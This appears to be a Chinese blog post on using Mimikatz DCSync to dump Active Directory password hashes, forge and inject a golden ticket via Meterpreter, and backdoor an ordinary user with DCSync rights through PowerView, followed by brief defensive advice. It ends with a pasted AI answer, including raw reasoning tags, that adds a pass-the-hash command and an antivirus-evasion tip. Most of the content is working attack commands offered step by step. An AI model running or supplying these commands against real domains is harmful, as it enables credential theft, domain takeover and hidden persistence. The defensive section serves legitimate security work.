域内 dcsync 权限维持

一、原理 

20210825125600.png

DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。

Mimikatz的DCSync 功能:

该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

权限维持思路:

        当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。

二、实际操作

利用 DCSync 导出域内哈希

当我们获取相应的权限后,可以利用 DCSync 功能导出域内用户的哈希值。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。获得了域内用户的哈希后可以进一步利用。

通过 Mimikatz导出【还有其他的方法】

在获取权限的域成员主机上执行如下:

# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator 
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv

# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all    
lsadump::dcsync /domain:whoamianony.org /all /csv

利用 DCSync 制作黄金票据

在域渗透中,我们可以通过 DCSync 导出域控制器中 krbtgt 账户的哈希,并利用 krbtgt 账户的哈希制作黄金票据。

黄金票据的详情请看:《内网渗透测试:Kerberos协议相关安全问题分析与利用》

测试环境如下:

image-20210824221346483

假设攻击者已经拿下了内网主机 Windows 10,下面演示如何在内网中利用 DCSync 制作黄金票据来访问 DC 上的资源。

拿下 Windows 10 主机之后,我们加载 kiwi 模块:

load kiwi

image-20210824213230936

然后通过kiwi_cmd执行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:

kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"

image-20210824214421165

然后我们便可以通过 krbtgt 账户的哈希生成黄金票据了:

golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck

执行后生成的票据会咱是存放在你的 Kali 上,然后清空目标主机上的票据:

kerberos_ticket_purge

image-20210824215536411

最后使用kerberos_ticket_use注入刚才生成的票据即可:

kerberos_ticket_use gold.tck

image-20210824215648481

如上图所示,票据成功注入。此时,攻击者就可以利用 Windows 7 任意访问域控上的资源了:

dir \\DC\c$

image-20210824220003150

有了黄金票据之后的操作就简单了,懂得都懂!

利用 DCSync 进行域内权限维持

要想利用 DCSync 功能,得要拥有 Administrators、Domain Controllers 或 Enterprise Domain Admins 组内的用户权限,因此就让普通域用户拥有 DCSync 的操作权限,那么普通域用户也能导出域内用户的信息了,这样可以可以做一个隐蔽的后门进行权限维持。

具体做法就是为普通域用户添加三条 ACE 访问权限控制项,赋予任意以下任一用户的权限:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

我们可以通过 Empire 框架中的 PowerView.ps1 脚本实现:

Import-Module .\powerview.ps1
​
# 为域用户 whoami 添加以上三条 ACE
Add-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose

image-20210824235724341

三、DCSync 的防御

DCSync 攻击的原理是模拟域控制器与域控制器之间的数据同步复制。最好的防御方法是给控制器设置白名单,将可信任的资产设置在允许同步的白名单内。

除此之外,我们还应尝试枚举 Active Directory 中所有用户的 ACL 查询出所有特权帐户,检测域内被添加 DCSync 权限的用户。Github 上有一个项目 ACLight便提供了这样的功能,只需执行项目中的 Execute-ACLight2.bat,便会生成以下三个文件:

Privileged Accounts - Layers Analysis.txt

Privileged Accounts Permissions - Final Report.csv

Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户。

<think>好的,我现在要回答用户关于mimikatz工具的功能和用途的问题。首先,我需要回顾用户提供的引用内容,确保准确引用相关信息。用户给出了五个引用,涵盖了mimikatz的基本使用、密码提取原理、绕过杀毒软件的方法、dcsync功能等。 首先,mimikatz的主要功能是提取Windows系统中的凭证信息,尤其是明文密码和哈希值。根据引用[2],它通过从lsass.exe进程中逆向加密算法来获取密码。这里需要解释清楚lsass的作用以及mimikatz如何利用这一点。 其次,用户提到的功能包括pass-the-hash攻击、黄金票据和白银票据的制作,以及dcsync模拟域控制器同步数据。这些功能在引用[1]、[5]中有所涉及,尤其是dcsync的使用方法需要详细说明。 还要注意mimikatz的使用限制,比如需要管理员权限(引用[1])以及如何绕过杀毒软件,比如使用procdump(引用[4])。此外,AES密钥的使用条件(安装补丁)也需要提及。 用户可能需要了解实际应用场景,比如渗透测试和内网横向移动,这些在引用中虽然没有直接提到,但根据功能可以合理推断。同时,生成的相关问题需要覆盖原理、防御措施、使用条件等,以帮助用户进一步学习。 需要确保回答结构清晰,分点列出功能和用途,引用正确的来源,并在末尾添加相关问题。同时,避免使用Markdown格式,保持自然的中文表达。最后检查是否有遗漏的重要功能,如sekurlsa模块的使用(引用[3])和kiwi模块的关联。</think>### Mimikatz工具的功能与用途分步解析 #### 一、核心功能说明 1. **凭证提取** - 直接从内存中提取$Windows$登录凭证,包括**明文密码**、**NTLM哈希**、**Kerberos票据**等[^2]。通过逆向$lsass.exe$进程的加密算法(如wdigest/tspkg模块),可还原出用户输入的原密码,系统未重启时有效。 - 示例命令:`sekurlsa::logonpasswords`[^3] 2. **Pass-the-Hash攻击** - 使用$NTLM$或$AES256$密钥哈希进行身份验证绕过,无需明文密码即可横向移动。引用[1]中的命令展示了通过AES256密钥模拟用户登录: ```bash mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" ``` 3. **票据操作** - 生成**黄金票据**(伪造任意域用户TGT)和**白银票据**(伪造服务票据),用于长期权限维持[^5]。 4. **域渗透辅助** - 通过`dcsync`功能模拟域控制器同步数据,直接获取域内所有用户的哈希值: ```bash lsadump::dcsync /domain:test.com /all /csv ``` 需域管理员权限执行。 #### 二、典型应用场景 - **红队渗透测试**:用于内网横向移动、权限提升和凭证收集 - **应急响应分析**:检测系统中是否存在凭证泄露痕迹 - **系统加固验证**:测试补丁(如KB2871997)是否有效阻止哈希提取 #### 三、使用限制与对抗措施 1. **权限要求**:需管理员权限运行[^1] 2. **防御规避**: - 部分杀软会拦截mimikatz进程,可通过微软官方工具$procdump$导出lsass内存再离线分析[^4] - 启用Credential Guard或限制lsass调试权限可防御 3. **系统依赖**:AES密钥功能需系统安装特定补丁[^1]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ad_m1n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值